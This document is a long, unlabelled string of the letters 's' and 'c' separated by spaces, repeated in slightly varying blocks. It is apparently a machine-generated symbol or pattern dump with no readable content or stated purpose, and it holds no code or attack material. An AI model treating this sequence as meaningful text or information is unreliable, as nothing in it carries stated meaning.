s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c s c c c s c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c s c c c s c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c s c c c s c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c s c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c s c c c s c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c s c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c s c c c c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c s c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c s c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c c c s c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c s c s c c s c s c c c s c s c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c s c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c s c c c s c c s c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c s c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c s c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c s c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c s c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c s c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c s c s c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c s c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c s c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c s c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c s c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c s c c s c c c c c s c c c s c s c c c c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c s c s c c c c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c s c s c c c c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c s c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c s c c c c c s c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c c c c c c c c c c s c c c c c c c c s c c c s c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c s c c c c s c c s c s c c c s c c s c s c s c c c c c c c c c c c c c c s c c c c c c c c c c c s c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c s c c s c s c c c s c c s c s c s c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c s c c s c s c c c s c c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c s c c c s c c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c s c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c s c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c s c c c c s c s c c c c c c s c c s c c s c s c s c s c c c s c c c s c s c s c c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c 